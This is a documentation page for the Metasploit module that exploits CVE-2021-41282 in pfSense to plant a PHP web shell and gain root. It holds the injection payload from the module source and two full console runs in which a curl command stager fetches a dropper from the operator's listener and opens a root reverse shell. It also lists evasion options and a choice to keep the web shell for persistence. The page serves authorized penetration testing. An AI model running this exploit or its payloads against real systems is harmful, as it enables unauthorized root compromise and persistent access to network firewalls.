pfSense Diag Routes Web Shell Upload - Metasploit


This page contains detailed information about how to use the exploit/unix/http/pfsense_diag_routes_webshell metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: pfSense Diag Routes Web Shell Upload
Module: exploit/unix/http/pfsense_diag_routes_webshell
Source code: modules/exploits/unix/http/pfsense_diag_routes_webshell.rb
Disclosure date: 2022-02-23
Last modification time: 2022-02-27 18:12:54 +0000
Supported architecture(s): cmd, x64
Supported platform(s): BSD, Unix
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2021-41282

This module exploits an arbitrary file creation vulnerability in the pfSense HTTP interface (CVE-2021-41282). The vulnerability affects versions <= 2.5.2 and can be exploited by an authenticated user if they have the "WebCfg - Diagnostics: Routing tables" privilege. This module uses the vulnerability to create a web shell and execute payloads with root privileges.

Module Ranking and Traits


Module Ranking:

  • excellent: The exploit will never crash the service. This is the case for SQL Injection, CMD execution, RFI, LFI, etc. No typical memory corruption exploits should be given this ranking unless there are extraordinary circumstances. More information about ranking can be found here.

Reliability:

  • repeatable-session: The module is expected to get a shell every time it runs.

Stability:

  • crash-safe: Module should not crash the service.

Side Effects:

  • ioc-in-logs: Module leaves signs of a compromise in a log file (Example: SQL injection data found in HTTP log).
  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


msf > use exploit/unix/http/pfsense_diag_routes_webshell
msf exploit(pfsense_diag_routes_webshell) > exploit

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


Description

This module exploits an arbitrary file creation vulnerability in the pfSense HTTP interface (CVE-2021-41282). The vulnerability affects versions <= 2.5.2 and can be exploited by an authenticated user if they have the "WebCfg - Diagnostics: Routing tables" privilege.

This module uses the vulnerability to create a web shell and execute payloads with root privileges.

Installation

Download an affected version's ISO. For example, pfSense 2.5.2 can be download here:

https://nyifiles.netgate.com/mirror/downloads/pfSense-CE-2.5.2-RELEASE-amd64.iso.gz

  • Follow the installation guide to get an initial base install.
  • Log into the web interface using the credentials admin:pfsense
  • Run through the setup wizard.

To test a user that only has the WebCfg - Diagnostics: Routing tables privilege, as an admin create a new user. The add user interface is in the System -> User Manager page. Select the Add user button and create the user. Once the user is created, edit the user and Add an Effective Privilege. Only assign WebCfg - Diagnostics: Routing tables. Done!

Verification Steps


  • Follow the installation instructions above
  • Do: use exploit/unix/http/pfsense_diag_routes_webshell
  • Do: set username <name>
  • Do: set password <password>
  • Do: set RHOST <ip>
  • Do: check
  • Verify the remote target is flagged as vulnerable
  • Do: set LHOST <ip>
  • Do: exploit
  • You should get a reverse shell

Options


TARGETURI

Specifies base URI. The default value is /.

USERNAME

The username to log in to the pfSense web interface with. The default is admin.

PASSWORD

The password to log in with. Set to pfsense by default.

WEBSHELL_NAME

Allows the user to name the webshell. If the user doesn't provided a name then one will be automatically generated. Set to nil by default.

DELETE_WEBSHELL

Indicates if the web shell should be deleted after reverse shell is established. A user may want to leave behind a web shell for persistence reasons. The default is true.

Target 0

Target 0 is a CMD_ARCH reverse shell using openssl.

Target 1

Target 1 is a bsd/x64 reverse shell using the curl command stager.

Scenarios


pfSense 2.5.2. Reverse shell using openssl cmd_arch payload.

msf6 > use exploit/unix/http/pfsense_diag_routes_webshell
[*] Using configured payload bsd/x64/shell_reverse_tcp
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set USERNAME diag_only
USERNAME => diag_only
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set RHOST 10.0.0.10
RHOST => 10.0.0.10
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > check

[!] This exploit may require manual cleanup of '/usr/local/www/HFkrB' on the target
[+] 10.0.0.10:80 - The target is vulnerable.
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > run

[*] Started reverse TCP handler on 10.0.0.2:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Uploading webshell to /dgGNIYHKgUL.php
[*] Testing if web shell installation was successful
[+] Web shell installed at /dgGNIYHKgUL.php
[*] Executing BSD Dropper for bsd/x64/shell_reverse_tcp
[*] Using URL: http://0.0.0.0:8080/kDumgxJC
[*] Local IP: http://10.0.0.2:8080/kDumgxJC
[*] Client 10.0.0.10 (curl/7.76.1) requested /kDumgxJC
[*] Sending payload to 10.0.0.10 (curl/7.76.1)
[*] Command Stager progress - 100.00% done (109/109 bytes)
[+] Deleted /usr/local/www/hrCcgfpdiGhC
[+] Deleted /usr/local/www/dgGNIYHKgUL.php
[*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.10:57590 ) at 2022-02-27 18:08:12 -0800
[*] Server stopped.

id
uid=0(root) gid=0(wheel) groups=0(wheel)
pwd
/usr/local/www
uname -a
FreeBSD pfSense.home.arpa 12.2-STABLE FreeBSD 12.2-STABLE fd0f54f44b5c(RELENG_2_5_0) pfSense  amd64

pfSense 2.5.2. Reverse shell using bsd reverse shell and curl command stager.

msf6 > use exploit/unix/http/pfsense_diag_routes_webshell
[*] Using configured payload bsd/x64/shell_reverse_tcp
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set USERNAME diag_only
USERNAME => diag_only
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set PASSWORD labpass1
PASSWORD => labpass1
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set RHOST 10.0.0.10
RHOST => 10.0.0.10
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > check

[!] This exploit may require manual cleanup of '/usr/local/www/QEpijnAPnpu' on the target
[+] 10.0.0.10:80 - The target is vulnerable.
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > set LHOST 10.0.0.2
LHOST => 10.0.0.2
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > run

[*] Started reverse TCP handler on 10.0.0.2:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable.
[*] Uploading webshell to /xsYZjKyayH.php
[*] Testing if web shell installation was successful
[+] Web shell installed at /xsYZjKyayH.php
[*] Executing BSD Dropper for bsd/x64/shell_reverse_tcp
[*] Using URL: http://0.0.0.0:8080/eUKIs9nMdZP2t
[*] Local IP: http://10.0.0.2:8080/eUKIs9nMdZP2t
[*] Client 10.0.0.10 (curl/7.76.1) requested /eUKIs9nMdZP2t
[*] Sending payload to 10.0.0.10 (curl/7.76.1)
[*] Command Stager progress - 100.00% done (114/114 bytes)
[+] Deleted /usr/local/www/MkTcoNc
[+] Deleted /usr/local/www/xsYZjKyayH.php
[*] Command shell session 1 opened (10.0.0.2:4444 -> 10.0.0.10:1879 ) at 2022-02-27 17:55:51 -0800
[*] Server stopped.

id
uid=0(root) gid=0(wheel) groups=0(wheel)
whoami
root
pwd
/usr/local/www
uname -a
FreeBSD pfSense.home.arpa 12.2-STABLE FreeBSD 12.2-STABLE fd0f54f44b5c(RELENG_2_5_0) pfSense  amd64

Go back to menu.

Msfconsole Usage


Here is how the unix/http/pfsense_diag_routes_webshell exploit module looks in the msfconsole:

msf6 > use exploit/unix/http/pfsense_diag_routes_webshell

[*] Using configured payload bsd/x64/shell_reverse_tcp
msf6 exploit(unix/http/pfsense_diag_routes_webshell) > show info

       Name: pfSense Diag Routes Web Shell Upload
     Module: exploit/unix/http/pfsense_diag_routes_webshell
   Platform: Unix, BSD
       Arch: cmd, x64
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Excellent
  Disclosed: 2022-02-23

Provided by:
  Abdel Adim "smaury" Oisfi of Shielder
  jbaines-r7

Module side effects:
 ioc-in-logs
 artifacts-on-disk

Module stability:
 crash-safe

Module reliability:
 repeatable-session

Available targets:
  Id  Name
  --  ----
  0   Unix Command
  1   BSD Dropper

Check supported:
  Yes

Basic options:
  Name             Current Setting  Required  Description
  ----             ---------------  --------  -----------
  DELETE_WEBSHELL  true             yes       Indicates if the webshell should be deleted or not.
  PASSWORD         pfsense          yes       Password to authenticate with
  Proxies                           no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS                            yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasp
                                              loit
  RPORT            443              yes       The target port (TCP)
  SRVHOST          0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local m
                                              achine or 0.0.0.0 to listen on all addresses.
  SRVPORT          8080             yes       The local port to listen on.
  SSL              true             no        Negotiate SSL/TLS for outgoing connections
  SSLCert                           no        Path to a custom SSL certificate (default is randomly generated)
  URIPATH                           no        The URI to use for this exploit (default is random)
  USERNAME         admin            yes       Username to authenticate with
  VHOST                             no        HTTP server virtual host
  WEBSHELL_NAME                     no        The name of the uploaded webshell. This value is random if left unset

Payload information:

Description:
  This module exploits an arbitrary file creation vulnerability in the 
  pfSense HTTP interface (CVE-2021-41282). The vulnerability affects 
  versions <= 2.5.2 and can be exploited by an authenticated user if 
  they have the "WebCfg - Diagnostics: Routing tables" privilege. This 
  module uses the vulnerability to create a web shell and execute 
  payloads with root privileges.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2021-41282
  https://www.shielder.it/advisories/pfsense-remote-command-execution/

Module Options


This is a complete list of options available in the unix/http/pfsense_diag_routes_webshell exploit:

msf6 exploit(unix/http/pfsense_diag_routes_webshell) > show options

Module options (exploit/unix/http/pfsense_diag_routes_webshell):

   Name             Current Setting  Required  Description
   ----             ---------------  --------  -----------
   DELETE_WEBSHELL  true             yes       Indicates if the webshell should be deleted or not.
   PASSWORD         pfsense          yes       Password to authenticate with
   Proxies                           no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                            yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metas
                                               ploit
   RPORT            443              yes       The target port (TCP)
   SRVHOST          0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local
                                               machine or 0.0.0.0 to listen on all addresses.
   SRVPORT          8080             yes       The local port to listen on.
   SSL              true             no        Negotiate SSL/TLS for outgoing connections
   SSLCert                           no        Path to a custom SSL certificate (default is randomly generated)
   URIPATH                           no        The URI to use for this exploit (default is random)
   USERNAME         admin            yes       Username to authenticate with
   VHOST                             no        HTTP server virtual host
   WEBSHELL_NAME                     no        The name of the uploaded webshell. This value is random if left unset

Payload options (bsd/x64/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   CMD    /bin/sh          yes       The command string to execute
   LHOST                   yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   1   BSD Dropper

Advanced Options


Here is a complete list of advanced options supported by the unix/http/pfsense_diag_routes_webshell exploit:

msf6 exploit(unix/http/pfsense_diag_routes_webshell) > show advanced

Module advanced options (exploit/unix/http/pfsense_diag_routes_webshell):

   Name                    Current Setting                     Required  Description
   ----                    ---------------                     --------  -----------
   AllowNoCleanup          false                               no        Allow exploitation without the possibility of cleaning up fil
                                                                         es
   AutoCheck               true                                no        Run check before exploit
   CMDSTAGER::DECODER                                          no        The decoder stub to use.
   CMDSTAGER::FLAVOR       auto                                no        The CMD Stager to use. (Accepted: auto, curl)
   CMDSTAGER::SSL          false                               no        Use SSL/TLS for supported stagers
   CMDSTAGER::TEMP                                             no        Writable directory for staged files
   ContextInformationFile                                      no        The information file that contains context information
   DOMAIN                  WORKSTATION                         yes       The domain to use for Windows authentication
   DigestAuthIIS           true                                no        Conform to IIS, should work for most servers. Only set to fal
                                                                         se for non-IIS servers
   DisablePayloadHandler   false                               no        Disable the handler code for the selected payload
   EXE::Custom                                                 no        Use custom exe instead of automatically generating a payload
                                                                         exe
   EXE::EICAR              false                               no        Generate an EICAR file instead of regular payload exe
   EXE::FallBack           false                               no        Use the default template in case the specified one is missing
   EXE::Inject             false                               no        Set to preserve the original EXE function
   EXE::OldMethod          false                               no        Set to use the substitution EXE generation method.
   EXE::Path                                                   no        The directory in which to look for the executable template
   EXE::Template                                               no        The executable template file name.
   EnableContextEncoding   false                               no        Use transient context when encoding payloads
   FileDropperDelay                                            no        Delay in seconds before attempting cleanup
   FingerprintCheck        true                                no        Conduct a pre-exploit fingerprint verification
   ForceExploit            false                               no        Override check result
   HttpClientTimeout                                           no        HTTP connection and receive timeout
   HttpPassword                                                no        The HTTP password to specify for authentication
   HttpRawHeaders                                              no        Path to ERB-templatized raw headers to append to existing hea
                                                                         ders
   HttpTrace               false                               no        Show the raw HTTP requests and responses
   HttpTraceColors         red/blu                             no        HTTP request and response colors for HttpTrace (unset to disa
                                                                         ble)
   HttpTraceHeadersOnly    false                               no        Show HTTP headers only in HttpTrace
   HttpUsername                                                no        The HTTP username to specify for authentication
   ListenerComm                                                no        The specific communication channel to use for this service
   MSI::Custom                                                 no        Use custom msi instead of automatically generating a payload
                                                                         msi
   MSI::EICAR              false                               no        Generate an EICAR file instead of regular payload msi
   MSI::Path                                                   no        The directory in which to look for the msi template
   MSI::Template                                               no        The msi template file name
   MSI::UAC                false                               no        Create an MSI with a UAC prompt (elevation to SYSTEM if accep
                                                                         ted)
   SSLCipher                                                   no        String for SSL cipher spec - "DHE-RSA-AES256-SHA" or "ADH"
   SSLCompression          false                               no        Enable SSL/TLS-level compression
   SSLVersion              Auto                                yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL2
                                                                         3 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1
                                                                         , TLS1.1, TLS1.2)
   SendRobots              false                               no        Return a robots.txt file if asked for one
   URIHOST                                                     no        Host to use in URI (useful for tunnels)
   URIPORT                                                     no        Port to use in URI (useful for tunnels)
   UserAgent               Mozilla/5.0 (iPad; CPU OS 15_3_1 l  no        The User-Agent header to use for all requests
                           ike Mac OS X) AppleWebKit/605.1.15
                            (KHTML, like Gecko) Version/15.2
                           Mobile/15E148 Safari/604.1
   VERBOSE                 false                               no        Enable detailed status messages
   WORKSPACE                                                   no        Specify the workspace for this module
   WfsDelay                2                                   no        Additional delay in seconds to wait for a session

Payload advanced options (bsd/x64/shell_reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AppendExit                  false            no        Append a stub that executes the exit(0) system call
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   PrependSetgid               false            no        Prepend a stub that executes the setgid(0) system call
   PrependSetregid             false            no        Prepend a stub that executes the setregid(0, 0) system call
   PrependSetresgid            false            no        Prepend a stub that executes the setresgid(0, 0, 0) system call
   PrependSetresuid            false            no        Prepend a stub that executes the setresuid(0, 0, 0) system call
   PrependSetreuid             false            no        Prepend a stub that executes the setreuid(0, 0) system call
   PrependSetuid               false            no        Prepend a stub that executes the setuid(0) system call
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go thro
                                                          ugh proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the unix/http/pfsense_diag_routes_webshell module can exploit:

msf6 exploit(unix/http/pfsense_diag_routes_webshell) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Unix Command
   1   BSD Dropper

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the unix/http/pfsense_diag_routes_webshell exploit:

msf6 exploit(unix/http/pfsense_diag_routes_webshell) > show payloads

Compatible Payloads
===================

   #   Name                                     Disclosure Date  Rank    Check  Description
   -   ----                                     ---------------  ----    -----  -----------
   0   payload/bsd/x64/exec                                      normal  No     BSD x64 Execute Command
   1   payload/bsd/x64/shell_bind_ipv6_tcp                       normal  No     BSD x64 Command Shell, Bind TCP Inline (IPv6)
   2   payload/bsd/x64/shell_bind_tcp                            normal  No     BSD x64 Shell Bind TCP
   3   payload/bsd/x64/shell_bind_tcp_small                      normal  No     BSD x64 Command Shell, Bind TCP Inline
   4   payload/bsd/x64/shell_reverse_ipv6_tcp                    normal  No     BSD x64 Command Shell, Reverse TCP Inline (IPv6)
   5   payload/bsd/x64/shell_reverse_tcp                         normal  No     BSD x64 Shell Reverse TCP
   6   payload/bsd/x64/shell_reverse_tcp_small                   normal  No     BSD x64 Command Shell, Reverse TCP Inline
   7   payload/generic/custom                                    normal  No     Custom Payload
   8   payload/generic/shell_bind_tcp                            normal  No     Generic Command Shell, Bind TCP Inline
   9   payload/generic/shell_reverse_tcp                         normal  No     Generic Command Shell, Reverse TCP Inline
   10  payload/generic/ssh/interact                              normal  No     Interact with Established SSH Connection

Evasion Options


Here is the full list of possible evasion options supported by the unix/http/pfsense_diag_routes_webshell exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(unix/http/pfsense_diag_routes_webshell) > show evasion

Module evasion options:

   Name                          Current Setting  Required  Description
   ----                          ---------------  --------  -----------
   HTTP::chunked                 false            no        Enable chunking of HTTP responses via "Transfer-Encoding: chunked"
   HTTP::compression             none             no        Enable compression of HTTP responses via content encoding (Accepted: none,
                                                             gzip, deflate)
   HTTP::header_folding          false            no        Enable folding of HTTP headers
   HTTP::junk_headers            false            no        Enable insertion of random junk HTTP headers
   HTTP::method_random_case      false            no        Use random casing for the HTTP method
   HTTP::method_random_invalid   false            no        Use a random invalid, HTTP method for request
   HTTP::method_random_valid     false            no        Use a random, but valid, HTTP method for request
   HTTP::no_cache                false            no        Disallow the browser to cache HTTP content
   HTTP::pad_fake_headers        false            no        Insert random, fake headers into the HTTP request
   HTTP::pad_fake_headers_count  0                no        How many fake headers to insert into the HTTP request
   HTTP::pad_get_params          false            no        Insert random, fake query string variables into the request
   HTTP::pad_get_params_count    16               no        How many fake query string variables to insert into the request
   HTTP::pad_method_uri_count    1                no        How many whitespace characters to use between the method and uri
   HTTP::pad_method_uri_type     space            no        What type of whitespace to use between the method and uri (Accepted: space
                                                            , tab, apache)
   HTTP::pad_post_params         false            no        Insert random, fake post variables into the request
   HTTP::pad_post_params_count   16               no        How many fake post variables to insert into the request
   HTTP::pad_uri_version_count   1                no        How many whitespace characters to use between the uri and version
   HTTP::pad_uri_version_type    space            no        What type of whitespace to use between the uri and version (Accepted: spac
                                                            e, tab, apache)
   HTTP::server_name             Apache           yes       Configures the Server header of all outgoing replies
   HTTP::uri_dir_fake_relative   false            no        Insert fake relative directories into the uri
   HTTP::uri_dir_self_reference  false            no        Insert self-referential directories into the uri
   HTTP::uri_encode_mode         hex-normal       no        Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random
                                                            , hex-all, u-normal, u-all, u-random)
   HTTP::uri_fake_end            false            no        Add a fake end of URI (eg: /%20HTTP/1.0/../../)
   HTTP::uri_fake_params_start   false            no        Add a fake start of params to the URI (eg: /%3fa=b/../)
   HTTP::uri_full_url            false            no        Use the full URL for all HTTP requests
   HTTP::uri_use_backslashes     false            no        Use back slashes instead of forward slashes in the uri
   HTTP::version_random_invalid  false            no        Use a random invalid, HTTP version for request
   HTTP::version_random_valid    false            no        Use a random, but valid, HTTP version for request
   TCP::max_send_size            0                no        Maximum tcp segment size.  (0 = disable)
   TCP::send_delay               0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Didn't receive a response from the target.


Here is a relevant code snippet related to the "Didn't receive a response from the target." error message:

94:	  # in order to determine vulnerability. A user can even be restricted from the
95:	  # dashboard (where other pfsense modules extract the version).
96:	  def check
97:	    # Grab a CSRF token so that we can log in
98:	    res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php'))
99:	    return CheckCode::Unknown("Didn't receive a response from the target.") unless res
100:	    return CheckCode::Unknown("Unexpected HTTP response from index.php: #{res.code}") unless res.code == 200
101:	    return CheckCode::Unknown('Could not find pfSense title html tag') unless res.body.include?('<title>pfSense - Login')
102:	
103:	    /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
104:	    return CheckCode::Unknown('Could not find CSRF token') unless csrf

Unexpected HTTP response from index.php: <RES.CODE>


Here is a relevant code snippet related to the "Unexpected HTTP response from index.php: <RES.CODE>" error message:

95:	  # dashboard (where other pfsense modules extract the version).
96:	  def check
97:	    # Grab a CSRF token so that we can log in
98:	    res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php'))
99:	    return CheckCode::Unknown("Didn't receive a response from the target.") unless res
100:	    return CheckCode::Unknown("Unexpected HTTP response from index.php: #{res.code}") unless res.code == 200
101:	    return CheckCode::Unknown('Could not find pfSense title html tag') unless res.body.include?('<title>pfSense - Login')
102:	
103:	    /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
104:	    return CheckCode::Unknown('Could not find CSRF token') unless csrf
105:	

Could not find pfSense title html tag


Here is a relevant code snippet related to the "Could not find pfSense title html tag" error message:

96:	  def check
97:	    # Grab a CSRF token so that we can log in
98:	    res = send_request_cgi('method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/index.php'))
99:	    return CheckCode::Unknown("Didn't receive a response from the target.") unless res
100:	    return CheckCode::Unknown("Unexpected HTTP response from index.php: #{res.code}") unless res.code == 200
101:	    return CheckCode::Unknown('Could not find pfSense title html tag') unless res.body.include?('<title>pfSense - Login')
102:	
103:	    /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
104:	    return CheckCode::Unknown('Could not find CSRF token') unless csrf
105:	
106:	    # send the log in attempt

Could not find CSRF token


Here is a relevant code snippet related to the "Could not find CSRF token" error message:

99:	    return CheckCode::Unknown("Didn't receive a response from the target.") unless res
100:	    return CheckCode::Unknown("Unexpected HTTP response from index.php: #{res.code}") unless res.code == 200
101:	    return CheckCode::Unknown('Could not find pfSense title html tag') unless res.body.include?('<title>pfSense - Login')
102:	
103:	    /var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
104:	    return CheckCode::Unknown('Could not find CSRF token') unless csrf
105:	
106:	    # send the log in attempt
107:	    res = send_request_cgi(
108:	      'uri' => normalize_uri(target_uri.path, '/index.php'),
109:	      'method' => 'POST',

No response to log in attempt.


Here is a relevant code snippet related to the "No response to log in attempt." error message:

113:	        'passwordfld' => datastore['PASSWORD'],
114:	        'login' => ''
115:	      }
116:	    )
117:	
118:	    return CheckCode::Detected('No response to log in attempt.') unless res
119:	    return CheckCode::Detected('Log in failed. User provided invalid credentials.') unless res.code == 302
120:	
121:	    # save the auth cookie for later user
122:	    @auth_cookies = res.get_cookies
123:	

Log in failed. User provided invalid credentials.


Here is a relevant code snippet related to the "Log in failed. User provided invalid credentials." error message:

114:	        'login' => ''
115:	      }
116:	    )
117:	
118:	    return CheckCode::Detected('No response to log in attempt.') unless res
119:	    return CheckCode::Detected('Log in failed. User provided invalid credentials.') unless res.code == 302
120:	
121:	    # save the auth cookie for later user
122:	    @auth_cookies = res.get_cookies
123:	
124:	    # attempt the exploit. Upload a random file to /usr/local/www/ with random contents

No response to upload attempt.


Here is a relevant code snippet related to the "No response to upload attempt." error message:

133:	        'isAjax' => '1',
134:	        'filter' => ".*/!d;};s/Destination/#{contents}/;w+#{@webshell_path}#{filename}%0a%23"
135:	      }
136:	    })
137:	
138:	    return CheckCode::Safe('No response to upload attempt.') unless res
139:	    return CheckCode::Safe("Exploit attempt did not receive 200 OK: #{res.code}") unless res.code == 200
140:	
141:	    # Validate the exploit was successful by requesting the uploaded file
142:	    res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/#{filename}"), 'cookie' => @auth_cookies })
143:	    return CheckCode::Safe('No response to exploit validation check.') unless res

Exploit attempt did not receive 200 OK: <RES.CODE>


Here is a relevant code snippet related to the "Exploit attempt did not receive 200 OK: <RES.CODE>" error message:

134:	        'filter' => ".*/!d;};s/Destination/#{contents}/;w+#{@webshell_path}#{filename}%0a%23"
135:	      }
136:	    })
137:	
138:	    return CheckCode::Safe('No response to upload attempt.') unless res
139:	    return CheckCode::Safe("Exploit attempt did not receive 200 OK: #{res.code}") unless res.code == 200
140:	
141:	    # Validate the exploit was successful by requesting the uploaded file
142:	    res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/#{filename}"), 'cookie' => @auth_cookies })
143:	    return CheckCode::Safe('No response to exploit validation check.') unless res
144:	    return CheckCode::Safe("Exploit validation check did not receive 200 OK: #{res.code}") unless res.code == 200

No response to exploit validation check.


Here is a relevant code snippet related to the "No response to exploit validation check." error message:

138:	    return CheckCode::Safe('No response to upload attempt.') unless res
139:	    return CheckCode::Safe("Exploit attempt did not receive 200 OK: #{res.code}") unless res.code == 200
140:	
141:	    # Validate the exploit was successful by requesting the uploaded file
142:	    res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/#{filename}"), 'cookie' => @auth_cookies })
143:	    return CheckCode::Safe('No response to exploit validation check.') unless res
144:	    return CheckCode::Safe("Exploit validation check did not receive 200 OK: #{res.code}") unless res.code == 200
145:	
146:	    register_file_for_cleanup("#{@webshell_path}#{filename}")
147:	    CheckCode::Vulnerable()
148:	  end

Exploit validation check did not receive 200 OK: <RES.CODE>


Here is a relevant code snippet related to the "Exploit validation check did not receive 200 OK: <RES.CODE>" error message:

139:	    return CheckCode::Safe("Exploit attempt did not receive 200 OK: #{res.code}") unless res.code == 200
140:	
141:	    # Validate the exploit was successful by requesting the uploaded file
142:	    res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, "/#{filename}"), 'cookie' => @auth_cookies })
143:	    return CheckCode::Safe('No response to exploit validation check.') unless res
144:	    return CheckCode::Safe("Exploit validation check did not receive 200 OK: #{res.code}") unless res.code == 200
145:	
146:	    register_file_for_cleanup("#{@webshell_path}#{filename}")
147:	    CheckCode::Vulnerable()
148:	  end
149:	

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

164:	        'isAjax' => '1',
165:	        'filter' => ".*/!d;};s/Destination/#{php_shell}/;w+#{@webshell_path}#{@webshell_name}%0a%23"
166:	      }
167:	    })
168:	
169:	    fail_with(Failure::Disconnected, 'Connection failed') unless res
170:	    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
171:	
172:	    # Test the web shell installed by echoing a random string and ensure it appears in the res.body
173:	    print_status('Testing if web shell installation was successful')
174:	    rand_data = Rex::Text.rand_text_alphanumeric(16..32)

Unexpected HTTP status code <RES.CODE>


Here is a relevant code snippet related to the "Unexpected HTTP status code <RES.CODE>" error message:

165:	        'filter' => ".*/!d;};s/Destination/#{php_shell}/;w+#{@webshell_path}#{@webshell_name}%0a%23"
166:	      }
167:	    })
168:	
169:	    fail_with(Failure::Disconnected, 'Connection failed') unless res
170:	    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
171:	
172:	    # Test the web shell installed by echoing a random string and ensure it appears in the res.body
173:	    print_status('Testing if web shell installation was successful')
174:	    rand_data = Rex::Text.rand_text_alphanumeric(16..32)
175:	    res = execute_via_webshell("echo #{rand_data}")

Web shell execution did not appear to succeed.


Here is a relevant code snippet related to the "Web shell execution did not appear to succeed." error message:

171:	
172:	    # Test the web shell installed by echoing a random string and ensure it appears in the res.body
173:	    print_status('Testing if web shell installation was successful')
174:	    rand_data = Rex::Text.rand_text_alphanumeric(16..32)
175:	    res = execute_via_webshell("echo #{rand_data}")
176:	    fail_with(Failure::UnexpectedReply, 'Web shell execution did not appear to succeed.') unless res.body.include?(rand_data)
177:	    print_good("Web shell installed at #{webshell_location}")
178:	
179:	    # This is a great place to leave a web shell for persistence since it doesn't require auth
180:	    # to touch it. By default, we'll clean this up but the attacker has to option to leave it
181:	    if datastore['DELETE_WEBSHELL']

Connection failed


Here is a relevant code snippet related to the "Connection failed" error message:

199:	      'vars_get' => {
200:	        'cmd' => cmd
201:	      }
202:	    })
203:	
204:	    fail_with(Failure::Disconnected, 'Connection failed') unless res
205:	    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
206:	    res
207:	  end
208:	
209:	  def execute_command(cmd, _opts = {})

Unexpected HTTP status code <RES.CODE>


Here is a relevant code snippet related to the "Unexpected HTTP status code <RES.CODE>" error message:

200:	        'cmd' => cmd
201:	      }
202:	    })
203:	
204:	    fail_with(Failure::Disconnected, 'Connection failed') unless res
205:	    fail_with(Failure::UnexpectedReply, "Unexpected HTTP status code #{res.code}") unless res.code == 200
206:	    res
207:	  end
208:	
209:	  def execute_command(cmd, _opts = {})
210:	    execute_via_webshell(cmd)

Go back to menu.


References


See Also


Check also the following modules related to this module:

Authors


  • Abdel Adim "smaury" Oisfi of Shielder
  • jbaines-r7

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.